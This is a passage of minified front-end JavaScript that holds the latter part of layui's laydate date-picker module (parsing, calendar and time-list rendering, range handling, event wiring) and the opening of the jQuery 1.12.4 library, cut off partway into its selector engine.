a=parseFloat(i[e]);i[e].length<t.length&&(o=!0),/yyyy|y/.test(t)?(a<h[0]&&(a=h[0],o=!0),n.year=a):/MM|M/.test(t)?(a<1&&(a=1,o=!0),n.month=a-1):/dd|d/.test(t)?(a<1&&(a=1,o=!0),n.date=a):/HH|H/.test(t)?(a<0&&(o=!(a=0)),23<a&&(a=23,o=!0),n.hours=a,s.range&&(d[r[l]].hours=a)):/mm|m/.test(t)?(a<0&&(o=!(a=0)),59<a&&(a=59,o=!0),n.minutes=a,s.range&&(d[r[l]].minutes=a)):/ss|s/.test(t)&&(a<0&&(o=!(a=0)),59<a&&(a=59,o=!0),n.seconds=a,s.range&&(d[r[l]].seconds=a))}),y(n)};if(\"limit\"===e)return s.range?(y(d.rangeLinked?d.startDate:n),d.endDate&&y(d.endDate)):y(n),d;\"string\"==typeof(l=l||s.value)&&(l=l.replace(/\\s+/g,\" \").replace(/^\\s|\\s$/g,\"\"));var m,u,c=function(){var e,t,a;s.range&&(d.endDate=d.endDate||lay.extend({},s.dateTime,(e={},t=s.dateTime,a=d.getAsYM(t.year,t.month),\"year\"===s.type?e.year=t.year+1:\"time\"!==s.type&&(e.year=a[0],e.month=a[1]),\"datetime\"!==s.type&&\"time\"!==s.type||(e.hours=23,e.minutes=e.seconds=59),e)))};return c(),\"string\"==typeof l&&l?d.EXP_IF.test(l)?s.range?(l=l.split(\" \"+d.rangeStr+\" \"),lay.each([s.dateTime,d.endDate],function(e,t){r(t,l[e],e)})):r(n,l):(d.hint(a.formatError[0]+(s.range?s.format+\" \"+d.rangeStr+\" \"+s.format:s.format)+a.formatError[1]),o=!0):l&&\"date\"===layui.type(l)?s.dateTime=d.systemDate(l):(s.dateTime=d.systemDate(),delete d.startTime,delete d.endDate,c(),delete d.endTime),d.rangeElem&&(c=[d.rangeElem[0].val(),d.rangeElem[1].val()],m=[s.dateTime,d.endDate],lay.each(c,function(e,t){d.EXP_IF_ONE.test(t)&&r(m[e],t,e)})),y(n),s.range&&y(d.endDate),o&&l&&d.setValue(!s.range||d.endDate?d.parse():\"\"),d.getDateTime(n)>d.getDateTime(s.max)?(n=s.dateTime=lay.extend({},s.max),u=!0):d.getDateTime(n)<d.getDateTime(s.min)&&(n=s.dateTime=lay.extend({},s.min),u=!0),s.range&&((d.getDateTime(d.endDate)<d.getDateTime(s.min)||d.getDateTime(d.endDate)>d.getDateTime(s.max))&&(d.endDate=lay.extend({},s.max),u=!0),d.startTime={hours:s.dateTime.hours,minutes:s.dateTime.minutes,seconds:s.dateTime.seconds},d.endTime={hours:d.endDate.hours,minutes:d.endDate.minutes,seconds:d.endDate.seconds},\"month\"===s.type&&(s.dateTime.date=1,d.endDate.date=1)),u&&l&&(d.setValue(d.parse()),d.hint(\"value \"+a.invalidDate+a.formatError[1])),d.startDate=d.startDate||l&&lay.extend({},s.dateTime),d.autoCalendarModel.auto&&d.autoCalendarModel(),d.endState=!s.range||!d.rangeLinked||!(!d.startDate||!d.endDate),e&&e(),d},I.prototype.mark=function(e,a){var n,t=this.config;return lay.each(t.mark,function(e,t){e=e.split(\"-\");e[0]!=a[0]&&0!=e[0]||e[1]!=a[1]&&0!=e[1]||e[2]!=a[2]||(n=t||a[2])}),n&&e.find(\"div\").html('<span class=\"laydate-day-mark\">'+n+\"</span>\"),this},I.prototype.holidays=function(n,i){var e=this.config,l=[\"\",\"work\"];return\"array\"!==layui.type(e.holidays)||lay.each(e.holidays,function(a,e){lay.each(e,function(e,t){t===n.attr(\"lay-ymd\")&&n.find(\"div\").html('<span class=\"laydate-day-holidays\"'+(l[a]?'type=\"'+l[a]+'\"':\"\")+\">\"+i[2]+\"</span>\")})}),this},I.prototype.limit=function(t){t=t||{};var i=this,e=i.config,l={},a=t.index>(t.time?0:41)?i.endDate:e.dateTime;return lay.each({now:lay.extend({},a,t.date||{}),min:e.min,max:e.max},function(e,a){var n;l[e]=i.newDate(lay.extend({year:a.year,month:\"year\"===t.type?0:a.month,date:\"year\"===t.type||\"month\"===t.type?1:a.date},(n={},lay.each(t.time,function(e,t){n[t]=a[t]}),n))).getTime()}),a=l.now<l.min||l.now>l.max,t.elem&&t.elem[a?\"addClass\":\"removeClass\"](k),a},I.prototype.thisDateTime=function(e){var t=this.config;return e?this.endDate:t.dateTime},I.prototype.calendar=function(e,t,a){var i,l,r,o=this,n=o.config,t=t?1:0,d=e||o.thisDateTime(t),s=new Date,y=o.lang(),m=\"date\"!==n.type&&\"datetime\"!==n.type,u=lay(o.table[t]).find(\"td\"),c=lay(o.elemHeader[t][2]).find(\"span\");return d.year<h[0]&&(d.year=h[0],o.hint(y.invalidDate)),d.year>h[1]&&(d.year=h[1],o.hint(y.invalidDate)),o.firstDate||(o.firstDate=lay.extend({},d)),s.setFullYear(d.year,d.month,1),i=(s.getDay()+(7-n.weekStart))%7,l=v.getEndDate(d.month||12,d.year),r=v.getEndDate(d.month+1,d.year),lay.each(u,function(e,t){var a=[d.year,d.month],n=0;(t=lay(t)).removeAttr(\"class\"),e<i?(n=l-i+e,t.addClass(\"laydate-day-prev\"),a=o.getAsYM(d.year,d.month,\"sub\")):i<=e&&e<r+i?(n=e-i,o.rangeLinked||n+1===d.date&&t.addClass(x)):(n=e-r-i,t.addClass(\"laydate-day-next\"),a=o.getAsYM(d.year,d.month)),a[1]++,a[2]=n+1,t.attr(\"lay-ymd\",a.join(\"-\")).html(\"<div>\"+a[2]+\"</div>\"),o.mark(t,a).holidays(t,a).limit({elem:t,date:{year:a[0],month:a[1]-1,date:a[2]},index:e})}),lay(c[0]).attr(\"lay-ym\",d.year+\"-\"+(d.month+1)),lay(c[1]).attr(\"lay-ym\",d.year+\"-\"+(d.month+1)),\"cn\"===n.lang?(lay(c[0]).attr(\"lay-type\",\"year\").html(d.year+\" \\u5e74\"),lay(c[1]).attr(\"lay-type\",\"month\").html(d.month+1+\" \\u6708\")):(lay(c[0]).attr(\"lay-type\",\"month\").html(y.month[d.month]),lay(c[1]).attr(\"lay-type\",\"year\").html(d.year)),m&&(n.range?!e&&\"init\"===a||(o.listYM=[[(o.startDate||n.dateTime).year,(o.startDate||n.dateTime).month+1],[o.endDate.year,o.endDate.month+1]],o.list(n.type,0).list(n.type,1),\"time\"===n.type?o.setBtnStatus(\"\\u65f6\\u95f4\",lay.extend({},o.systemDate(),o.startTime),lay.extend({},o.systemDate(),o.endTime)):o.setBtnStatus(!0)):(o.listYM=[[d.year,d.month+1]],o.list(n.type,0))),n.range&&\"init\"===a&&(o.rangeLinked?(s=o.getAsYM(d.year,d.month,t?\"sub\":null),o.calendar(lay.extend({},d,{year:s[0],month:s[1]}),1-t)):o.calendar(null,1-t)),n.range||(u=[\"hours\",\"minutes\",\"seconds\"],o.limit({elem:lay(o.footer).find(\".laydate-btns-now\"),date:o.systemDate(),index:0,time:u}),o.limit({elem:lay(o.footer).find(C),index:0,time:u})),o.setBtnStatus(),lay(o.shortcut).find(\"li.\"+x).removeClass(x),n.range&&!m&&\"init\"!==a&&o.stampRange(),o},I.prototype.list=function(n,i){var l,r,e,o,d=this,s=d.config,y=d.rangeLinked?s.dateTime:[s.dateTime,d.endDate][i],m=d.lang(),t=s.range&&\"date\"!==s.type&&\"datetime\"!==s.type,u=lay.elem(\"ul\",{\"class\":w+\" \"+{year:\"laydate-year-list\",month:\"laydate-month-list\",time:\"laydate-time-list\"}[n]}),a=d.elemHeader[i],c=lay(a[2]).find(\"span\"),h=d.elemCont[i||0],f=lay(h).find(\".\"+w)[0],g=\"cn\"===s.lang,p=g?\"\\u5e74\":\"\",v=d.listYM[i]||{},D=[\"hours\",\"minutes\",\"seconds\"],T=[\"startTime\",\"endTime\"][i];return v[0]<1&&(v[0]=1),\"year\"===n?(e=l=v[0]-7,l<1&&(e=l=1),lay.each(new Array(15),function(e){var t=lay.elem(\"li\",{\"lay-ym\":l}),a={year:l,month:0,date:1};l==v[0]&&lay(t).addClass(x),t.innerHTML=l+p,u.appendChild(t),d.limit({elem:lay(t),date:a,index:i,type:n}),l++}),lay(c[g?0:1]).attr(\"lay-ym\",l-8+\"-\"+v[1]).html(e+p+\" - \"+(l-1)+p)):\"month\"===n?(lay.each(new Array(12),function(e){var t=lay.elem(\"li\",{\"lay-ym\":e}),a={year:v[0],month:e,date:1};e+1==v[1]&&lay(t).addClass(x),t.innerHTML=m.month[e]+(g?\"\\u6708\":\"\"),u.appendChild(t),d.limit({elem:lay(t),date:a,index:i,type:n})}),lay(c[g?0:1]).attr(\"lay-ym\",v[0]+\"-\"+v[1]).html(v[0]+p)):\"time\"===n&&(r=function(){lay(u).find(\"ol\").each(function(a,e){lay(e).find(\"li\").each(function(e,t){d.limit({elem:lay(t),date:[{hours:e},{hours:d[T].hours,minutes:e},{hours:d[T].hours,minutes:d[T].minutes,seconds:e}][a],index:i,time:[[\"hours\"],[\"hours\",\"minutes\"],[\"hours\",\"minutes\",\"seconds\"]][a]})})}),s.range||d.limit({elem:lay(d.footer).find(C),date:d[T],inedx:0,time:[\"hours\",\"minutes\",\"seconds\"]})},s.range?d[T]||(d[T]=\"startTime\"===T?y:d.endDate):d[T]=y,lay.each([24,60,60],function(t,e){var a=lay.elem(\"li\"),n=[\"<p>\"+m.time[t]+\"</p><ol>\"];lay.each(new Array(e),function(e){n.push(\"<li\"+(d[T][D[t]]===e?' class=\"'+x+'\"':\"\")+\">\"+lay.digit(e,2)+\"</li>\")}),a.innerHTML=n.join(\"\")+\"</ol>\",u.appendChild(a)}),r()),f&&h.removeChild(f),h.appendChild(u),\"year\"===n||\"month\"===n?(lay(d.elemMain[i]).addClass(\"laydate-ym-show\"),lay(u).find(\"li\").on(\"click\",function(){var e=0|lay(this).attr(\"lay-ym\");lay(this).hasClass(k)||(d.rangeLinked?lay.extend(y,{year:\"year\"===n?e:v[0],month:\"year\"===n?v[1]-1:e}):y[n]=e,\"year\"===s.type||\"month\"===s.type?(lay(u).find(\".\"+x).removeClass(x),lay(this).addClass(x),\"month\"===s.type&&\"year\"===n&&(d.listYM[i][0]=e,t&&((i?d.endDate:y).year=e),d.list(\"month\",i))):(d.checkDate(\"limit\").calendar(y,i,\"init\"),d.closeList()),d.setBtnStatus(),!s.range&&s.autoConfirm&&(\"month\"===s.type&&\"month\"===n||\"year\"===s.type&&\"year\"===n)&&d.setValue(d.parse()).done().remove(),d.autoCalendarModel.auto&&!d.rangeLinked?d.choose(lay(h).find(\"td.layui-this\"),i):d.endState&&d.done(null,\"change\"),lay(d.footer).find(\".\"+L).removeClass(k))})):(e=lay.elem(\"span\",{\"class\":M}),o=function(){lay(u).find(\"ol\").each(function(e){var a=this,t=lay(a).find(\"li\");a.scrollTop=30*(d[T][D[e]]-2),a.scrollTop<=0&&t.each(function(e,t){if(!lay(this).hasClass(k))return a.scrollTop=30*(e-2),!0})})},c=lay(a[2]).find(\".\"+M),o(),e.innerHTML=s.range?[m.startTime,m.endTime][i]:m.timeTips,lay(d.elemMain[i]).addClass(\"laydate-time-show\"),c[0]&&c.remove(),a[2].appendChild(e),lay(u).find(\"ol\").each(function(t){var a=this;lay(a).find(\"li\").on(\"click\",function(){var e=0|this.innerHTML;lay(this).hasClass(k)||(s.range?d[T][D[t]]=e:y[D[t]]=e,lay(a).find(\".\"+x).removeClass(x),lay(this).addClass(x),r(),o(),(d.endDate||\"time\"===s.type||\"datetime\"===s.type&&s.fullPanel)&&d.done(null,\"change\"),d.setBtnStatus())})})),d},I.prototype.listYM=[],I.prototype.closeList=function(){var a=this;a.config;lay.each(a.elemCont,function(e,t){lay(this).find(\".\"+w).remove(),lay(a.elemMain[e]).removeClass(\"laydate-ym-show laydate-time-show\")}),lay(a.elem).find(\".\"+M).remove()},I.prototype.setBtnStatus=function(e,t,a){var n=this,i=n.config,l=n.lang(),r=lay(n.footer).find(C);i.range&&\"time\"!==i.type&&(t=t||(n.rangeLinked?n.startDate:i.dateTime),a=a||n.endDate,i=!n.endState||n.newDate(t).getTime()>n.newDate(a).getTime(),n.limit({date:t})||n.limit({date:a})?r.addClass(k):r[i?\"addClass\":\"removeClass\"](k),e&&i&&n.hint(\"string\"==typeof e?l.timeout.replace(/\\u65e5\\u671f/g,e):l.timeout))},I.prototype.parse=function(e,t){var a=this,n=a.config,t=t||(\"end\"==e?lay.extend({},a.endDate,a.endTime):n.range?lay.extend({},a.rangeLinked?a.startDate:n.dateTime,a.startTime):n.dateTime),t=v.parse(t,a.format,1);return n.range&&e===undefined?t+\" \"+a.rangeStr+\" \"+a.parse(\"end\"):t},I.prototype.newDate=function(e){return e=e||{},new Date(e.year||1,e.month||0,e.date||1,e.hours||0,e.minutes||0,e.seconds||0)},I.prototype.getDateTime=function(e){return this.newDate(e).getTime()},I.prototype.setValue=function(e){var t=this,a=t.config,n=a.elem[0];return\"static\"===a.position||(e=e||\"\",t.isInput(n)?lay(n).val(e):(a=t.rangeElem)?(\"array\"!==layui.type(e)&&(e=e.split(\" \"+t.rangeStr+\" \")),a[0].val(e[0]||\"\"),a[1].val(e[1]||\"\")):(0===lay(n).find(\"*\").length&&lay(n).html(e),lay(n).attr(\"lay-date\",e))),t},I.prototype.preview=function(){var e,t=this,a=t.config;a.isPreview&&(e=lay(t.elem).find(\".\"+T),a=!a.range||(t.rangeLinked?t.endState:t.endDate)?t.parse():\"\",e.html(a),e.html()&&(e.css({color:\"#16b777\"}),setTimeout(function(){e.css({color:\"#777\"})},300)))},I.prototype.renderAdditional=function(){this.config.fullPanel&&this.list(\"time\",0)},I.prototype.stampRange=function(){var n,i=this,l=i.config,r=i.rangeLinked?i.startDate:l.dateTime,e=lay(i.elem).find(\"td\");l.range&&!i.endState&&lay(i.footer).find(C).addClass(k),r=r&&i.newDate({year:r.year,month:r.month,date:r.date}).getTime(),n=i.endState&&i.endDate&&i.newDate({year:i.endDate.year,month:i.endDate.month,date:i.endDate.date}).getTime(),lay.each(e,function(e,t){var a=lay(t).attr(\"lay-ymd\").split(\"-\"),a=i.newDate({year:a[0],month:a[1]-1,date:a[2]}).getTime();l.rangeLinked&&!i.startDate&&a===i.newDate(i.systemDate()).getTime()&&lay(t).addClass(lay(t).hasClass(y)||lay(t).hasClass(m)?\"\":\"laydate-day-now\"),lay(t).removeClass(o+\" \"+x),a!==r&&a!==n||(i.rangeLinked||!i.rangeLinked&&(e<42?a===r:a===n))&&lay(t).addClass(lay(t).hasClass(y)||lay(t).hasClass(m)?o:x),r<a&&a<n&&lay(t).addClass(o)})},I.prototype.done=function(e,t){var a=this,n=a.config,i=lay.extend({},lay.extend(n.dateTime,a.startTime)),l=lay.extend({},lay.extend(a.endDate,a.endTime));return lay.each([i,l],function(e,t){\"month\"in t&&lay.extend(t,{month:t.month+1})}),a.preview(),e=e||[a.parse(),i,l],\"change\"===t&&a.renderAdditional(),\"function\"==typeof n[t||\"done\"]&&n[t||\"done\"].apply(n,e),a},I.prototype.choose=function(e,a){var n,i,t,l,r,o;e.hasClass(k)||(i=(n=this).config,t=a,n.rangeLinked&&(n.endState||!n.startDate?(a=0,n.endState=!1,n.endDate={}):(a=1,n.endState=!0)),l=n.thisDateTime(a),lay(n.elem).find(\"td\"),e={year:0|(e=e.attr(\"lay-ymd\").split(\"-\"))[0],month:(0|e[1])-1,date:0|e[2]},lay.extend(l,e),i.range?(lay.each([\"startTime\",\"endTime\"],function(e,t){n[t]=n[t]||{hours:e?23:0,minutes:e?59:0,seconds:e?59:0},a===e&&(n.getDateTime(lay.extend({},l,n[t]))<n.getDateTime(i.min)?(n[t]={hours:i.min.hours,minutes:i.min.minutes,seconds:i.min.seconds},lay.extend(l,n[t])):n.getDateTime(lay.extend({},l,n[t]))>n.getDateTime(i.max)&&(n[t]={hours:i.max.hours,minutes:i.max.minutes,seconds:i.max.seconds},lay.extend(l,n[t])))}),a||(n.startDate=lay.extend({},l)),n.endState&&!n.limit({date:n.thisDateTime(1-a)})&&(((r=n.endState&&n.autoCalendarModel.auto?n.autoCalendarModel():r)||n.rangeLinked&&n.endState)&&n.newDate(n.startDate)>n.newDate(n.endDate)&&(e=n.startDate.year===n.endDate.year&&n.startDate.month===n.endDate.month&&n.startDate.date===n.endDate.date,o=n.startDate,n.startDate=lay.extend({},n.endDate,e?{}:n.startTime),i.dateTime=lay.extend({},n.startDate),n.endDate=lay.extend({},o,e?{}:n.endTime),e&&(o=n.startTime,n.startTime=n.endTime,n.endTime=o)),r&&(i.dateTime=lay.extend({},n.startDate))),n.rangeLinked?(e=lay.extend({},l),!t||a||r||(o=n.getAsYM(l.year,l.month,\"sub\"),lay.extend(i.dateTime,{year:o[0],month:o[1]})),n.calendar(e,t,r?\"init\":null)):n.calendar(null,a,r?\"init\":null),n.endState&&n.done(null,\"change\")):\"static\"===i.position?n.calendar().done().done(null,\"change\"):\"date\"===i.type?i.autoConfirm?n.setValue(n.parse()).done().remove():n.calendar().done(null,\"change\"):\"datetime\"===i.type&&n.calendar().done(null,\"change\"))},I.prototype.tool=function(t,e){var a=this,n=a.config,i=a.lang(),l=n.dateTime,r=\"static\"===n.position,o={datetime:function(){lay(t).hasClass(k)||(a.list(\"time\",0),n.range&&a.list(\"time\",1),lay(t).attr(\"lay-type\",\"date\").html(a.lang().dateTips))},date:function(){a.closeList(),lay(t).attr(\"lay-type\",\"datetime\").html(a.lang().timeTips)},clear:function(){r&&(lay.extend(l,a.firstDate),a.calendar()),n.range&&(delete n.dateTime,delete a.endDate,delete a.startTime,delete a.endTime),a.setValue(\"\"),a.done(null,\"onClear\").done([\"\",{},{}]).remove()},now:function(){var e=new Date;if(lay(t).hasClass(k))return a.hint(i.tools.now+\", \"+i.invalidDate);lay.extend(l,a.systemDate(),{hours:e.getHours(),minutes:e.getMinutes(),seconds:e.getSeconds()}),a.setValue(a.parse()),r&&a.calendar(),a.done(null,\"onNow\").done().remove()},confirm:function(){if(n.range){if(lay(t).hasClass(k))return a.hint(\"time\"===n.type?i.timeout.replace(/\\u65e5\\u671f/g,\"\\u65f6\\u95f4\"):i.timeout)}else if(lay(t).hasClass(k))return a.hint(i.invalidDate);a.setValue(a.parse()),a.done(null,\"onConfirm\").done().remove()}};o[e]&&o[e]()},I.prototype.change=function(n){var i=this,l=i.config,r=i.thisDateTime(n),o=l.range&&(\"year\"===l.type||\"month\"===l.type),d=i.elemCont[n||0],s=i.listYM[n],e=function(e){var t=lay(d).find(\".laydate-year-list\")[0],a=lay(d).find(\".laydate-month-list\")[0];return t&&(s[0]=e?s[0]-15:s[0]+15,i.list(\"year\",n)),a&&(e?s[0]--:s[0]++,i.list(\"month\",n)),(t||a)&&(lay.extend(r,{year:s[0]}),o&&(r.year=s[0]),l.range||i.done(null,\"change\"),l.range||i.limit({elem:lay(i.footer).find(C),date:{year:s[0]}})),i.setBtnStatus(),t||a};return{prevYear:function(){e(\"sub\")||(i.rangeLinked?(l.dateTime.year--,i.checkDate(\"limit\").calendar(null,null,\"init\")):(r.year--,i.checkDate(\"limit\").calendar(null,n),i.autoCalendarModel.auto?i.choose(lay(d).find(\"td.layui-this\"),n):i.done(null,\"change\")))},prevMonth:function(){i.rangeLinked&&(r=l.dateTime);var e=i.getAsYM(r.year,r.month,\"sub\");lay.extend(r,{year:e[0],month:e[1]}),i.checkDate(\"limit\").calendar(null,null,\"init\"),i.rangeLinked||(i.autoCalendarModel.auto?i.choose(lay(d).find(\"td.layui-this\"),n):i.done(null,\"change\"))},nextMonth:function(){i.rangeLinked&&(r=l.dateTime);var e=i.getAsYM(r.year,r.month);lay.extend(r,{year:e[0],month:e[1]}),i.checkDate(\"limit\").calendar(null,null,\"init\"),i.rangeLinked||(i.autoCalendarModel.auto?i.choose(lay(d).find(\"td.layui-this\"),n):i.done(null,\"change\"))},nextYear:function(){e()||(i.rangeLinked?(l.dateTime.year++,i.checkDate(\"limit\").calendar(null,0,\"init\")):(r.year++,i.checkDate(\"limit\").calendar(null,n),i.autoCalendarModel.auto?i.choose(lay(d).find(\"td.layui-this\"),n):i.done(null,\"change\")))}}},I.prototype.changeEvent=function(){var i=this;i.config;lay(i.elem).on(\"click\",function(e){lay.stope(e)}).on(\"mousedown\",function(e){lay.stope(e)}),lay.each(i.elemHeader,function(n,e){lay(e[0]).on(\"click\",function(e){i.change(n).prevYear()}),lay(e[1]).on(\"click\",function(e){i.change(n).prevMonth()}),lay(e[2]).find(\"span\").on(\"click\",function(e){var t=lay(this),a=t.attr(\"lay-ym\"),t=t.attr(\"lay-type\");a&&(a=a.split(\"-\"),i.listYM[n]=[0|a[0],0|a[1]],i.list(t,n),lay(i.footer).find(\".\"+L).addClass(k))}),lay(e[3]).on(\"click\",function(e){i.change(n).nextMonth()}),lay(e[4]).on(\"click\",function(e){i.change(n).nextYear()})}),lay.each(i.table,function(e,t){lay(t).find(\"td\").on(\"click\",function(){i.choose(lay(this),e)})}),lay(i.footer).find(\"span\").on(\"click\",function(){var e=lay(this).attr(\"lay-type\");i.tool(this,e)})},I.prototype.isInput=function(e){return/input|textarea/.test(e.tagName.toLocaleLowerCase())||/INPUT|TEXTAREA/.test(e.tagName)},I.prototype.events=function(){var e,t=this,a=t.config;a.elem[0]&&!a.elem[0].eventHandler&&(a.elem.on(a.trigger,e=function(){v.thisId!==a.id&&t.render()}),a.elem[0].eventHandler=!0,a.eventElem.on(a.trigger,e),t.unbind=function(){t.remove(),a.elem.off(a.trigger,e),a.elem.removeAttr(\"lay-key\"),a.elem.removeAttr(d),a.elem[0].eventHandler=!1,a.eventElem.off(a.trigger,e),a.eventElem.removeAttr(\"lay-key\"),delete s.that[a.id]})},s.that={},s.getThis=function(e){var t=s.that[e];return!t&&n&&layui.hint().error(e?a+\" instance with ID '\"+e+\"' not found\":\"ID argument required\"),t},l.run=function(n){n(p).on(\"mousedown\",function(e){var t,a;!v.thisId||(t=s.getThis(v.thisId))&&(a=t.config,e.target!==a.elem[0]&&e.target!==a.eventElem[0]&&e.target!==n(a.closeStop)[0]&&t.remove())}).on(\"keydown\",function(e){var t;!v.thisId||(t=s.getThis(v.thisId))&&\"static\"!==t.config.position&&13===e.keyCode&&n(\"#\"+t.elemID)[0]&&t.elemID===I.thisElemDate&&(e.preventDefault(),n(t.footer).find(C)[0].click())}),n(i).on(\"resize\",function(){if(v.thisId){var e=s.getThis(v.thisId);if(e)return!(!e.elem||!n(\".layui-laydate\")[0])&&void e.position()}})},v.render=function(e){e=new I(e);return s.call(e)},v.reload=function(e,t){e=s.getThis(e);if(e)return e.reload(t)},v.getInst=function(e){e=s.getThis(e);if(e)return e.inst},v.hint=function(e,t){e=s.getThis(e);if(e)return e.hint(t)},v.unbind=function(e){e=s.getThis(e);if(e)return e.unbind()},v.close=function(e){e=s.getThis(e||v.thisId);if(e)return e.remove()},v.parse=function(a,n,i){return a=a||{},n=((n=\"string\"==typeof n?s.formatArr(n):n)||[]).concat(),lay.each(n,function(e,t){/yyyy|y/.test(t)?n[e]=lay.digit(a.year,t.length):/MM|M/.test(t)?n[e]=lay.digit(a.month+(i||0),t.length):/dd|d/.test(t)?n[e]=lay.digit(a.date,t.length):/HH|H/.test(t)?n[e]=lay.digit(a.hours,t.length):/mm|m/.test(t)?n[e]=lay.digit(a.minutes,t.length):/ss|s/.test(t)&&(n[e]=lay.digit(a.seconds,t.length))}),n.join(\"\")},v.getEndDate=function(e,t){var a=new Date;return a.setFullYear(t||a.getFullYear(),e||a.getMonth()+1,1),new Date(a.getTime()-864e5).getDate()},n?(v.ready(),layui.define(\"lay\",function(e){v.path=layui.cache.dir,l.run(lay),e(a,v)})):\"function\"==typeof define&&define.amd?define(function(){return l.run(lay),v}):(v.ready(),l.run(i.lay),i.laydate=v)}(window,window.document);!function(e,t){\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e):function(e){if(e.document)return t(e);throw new Error(\"jQuery requires a window with a document\")}:t(e)}(\"undefined\"!=typeof window?window:this,function(T,M){var f=[],g=T.document,c=f.slice,O=f.concat,R=f.push,P=f.indexOf,B={},W=B.toString,m=B.hasOwnProperty,y={},e=\"1.12.4\",C=function(e,t){return new C.fn.init(e,t)},I=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g,$=/^-ms-/,z=/-([\\da-z])/gi,X=function(e,t){return t.toUpperCase()};function U(e){var t=!!e&&\"length\"in e&&e.length,n=C.type(e);return\"function\"!==n&&!C.isWindow(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&0<t&&t-1 in e)}C.fn=C.prototype={jquery:e,constructor:C,selector:\"\",length:0,toArray:function(){return c.call(this)},get:function(e){return null!=e?e<0?this[e+this.length]:this[e]:c.call(this)},pushStack:function(e){e=C.merge(this.constructor(),e);return e.prevObject=this,e.context=this.context,e},each:function(e){return C.each(this,e)},map:function(n){return this.pushStack(C.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(c.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,e=+e+(e<0?t:0);return this.pushStack(0<=e&&e<t?[this[e]]:[])},end:function(){return this.prevObject||this.constructor()},push:R,sort:f.sort,splice:f.splice},C.extend=C.fn.extend=function(){var e,t,n,r,i,o=arguments[0]||{},a=1,s=arguments.length,u=!1;for(\"boolean\"==typeof o&&(u=o,o=arguments[a]||{},a++),\"object\"==typeof o||C.isFunction(o)||(o={}),a===s&&(o=this,a--);a<s;a++)if(null!=(r=arguments[a]))for(n in r)i=o[n],o!==(t=r[n])&&(u&&t&&(C.isPlainObject(t)||(e=C.isArray(t)))?(i=e?(e=!1,i&&C.isArray(i)?i:[]):i&&C.isPlainObject(i)?i:{},o[n]=C.extend(u,i,t)):t!==undefined&&(o[n]=t));return o},C.extend({expando:\"jQuery\"+(e+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isFunction:function(e){return\"function\"===C.type(e)},isArray:Array.isArray||function(e){return\"array\"===C.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){var t=e&&e.toString();return!C.isArray(e)&&0<=t-parseFloat(t)+1},isEmptyObject:function(e){for(var t in e)return!1;return!0},isPlainObject:function(e){if(!e||\"object\"!==C.type(e)||e.nodeType||C.isWindow(e))return!1;try{if(e.constructor&&!m.call(e,\"constructor\")&&!m.call(e.constructor.prototype,\"isPrototypeOf\"))return!1}catch(n){return!1}if(!y.ownFirst)for(var t in e)return m.call(e,t);for(t in e);return t===undefined||m.call(e,t)},type:function(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?B[W.call(e)]||\"object\":typeof e},globalEval:function(e){e&&C.trim(e)&&(T.execScript||function(e){T.eval.call(T,e)})(e)},camelCase:function(e){return e.replace($,\"ms-\").replace(z,X)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t){var n,r=0;if(U(e))for(n=e.length;r<n&&!1!==t.call(e[r],r,e[r]);r++);else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(I,\"\")},makeArray:function(e,t){t=t||[];return null!=e&&(U(Object(e))?C.merge(t,\"string\"==typeof e?[e]:e):R.call(t,e)),t},inArray:function(e,t,n){var r;if(t){if(P)return P.call(t,e,n);for(r=t.length,n=n?n<0?Math.max(0,r+n):n:0;n<r;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;)e[i++]=t[r++];if(n!=n)for(;t[r]!==undefined;)e[i++]=t[r++];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!=a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(U(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return O.apply([],a)},guid:1,proxy:function(e,t){var n,r;return\"string\"==typeof t&&(r=e[t],t=e,e=r),C.isFunction(e)?(n=c.call(arguments,2),(r=function(){return e.apply(t||this,n.concat(c.call(arguments)))}).guid=e.guid=e.guid||C.guid++,r):undefined},now:function(){return+new Date},support:y}),\"function\"==typeof Symbol&&(C.fn[Symbol.iterator]=f[Symbol.iterator]),C.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){B[\"[object \"+t+\"]\"]=t.toLowerCase()});var e=function(M){var e,g,b,o,O,w,R,P,T,u,l,C,E,t,N,m,r,i,y,k=\"sizzle\"+ +new Date,v=M.document,S=0,B=0,W=le(),I=le(),A=le(),$=function(e,t){return e===t&&(l=!0),0},z={}.hasOwnProperty,n=[],X=n.pop,U=n.push,D=n.push,V=n.slice,j=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},Y=\"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",a=\"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",s=\"(?:\\\\\\\\.|[\\\\w-]|[^\\\\x00-\\\\xa0])+\",J=\"\\\\[\"+a+\"*(\"+s+\")(?:\"+a+\"*([*^$|!~]?=)\"+a+\"*(?:'((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\"|(\"+s+\"))|)\"+a+\"*\\\\]\",G=\":(\"+s+\")(?:\\\\((('((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\")|((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\"+J+\")*)|.*)\\\\)|)\",K=new RegExp(a+\"+\",\"g\"),L=new 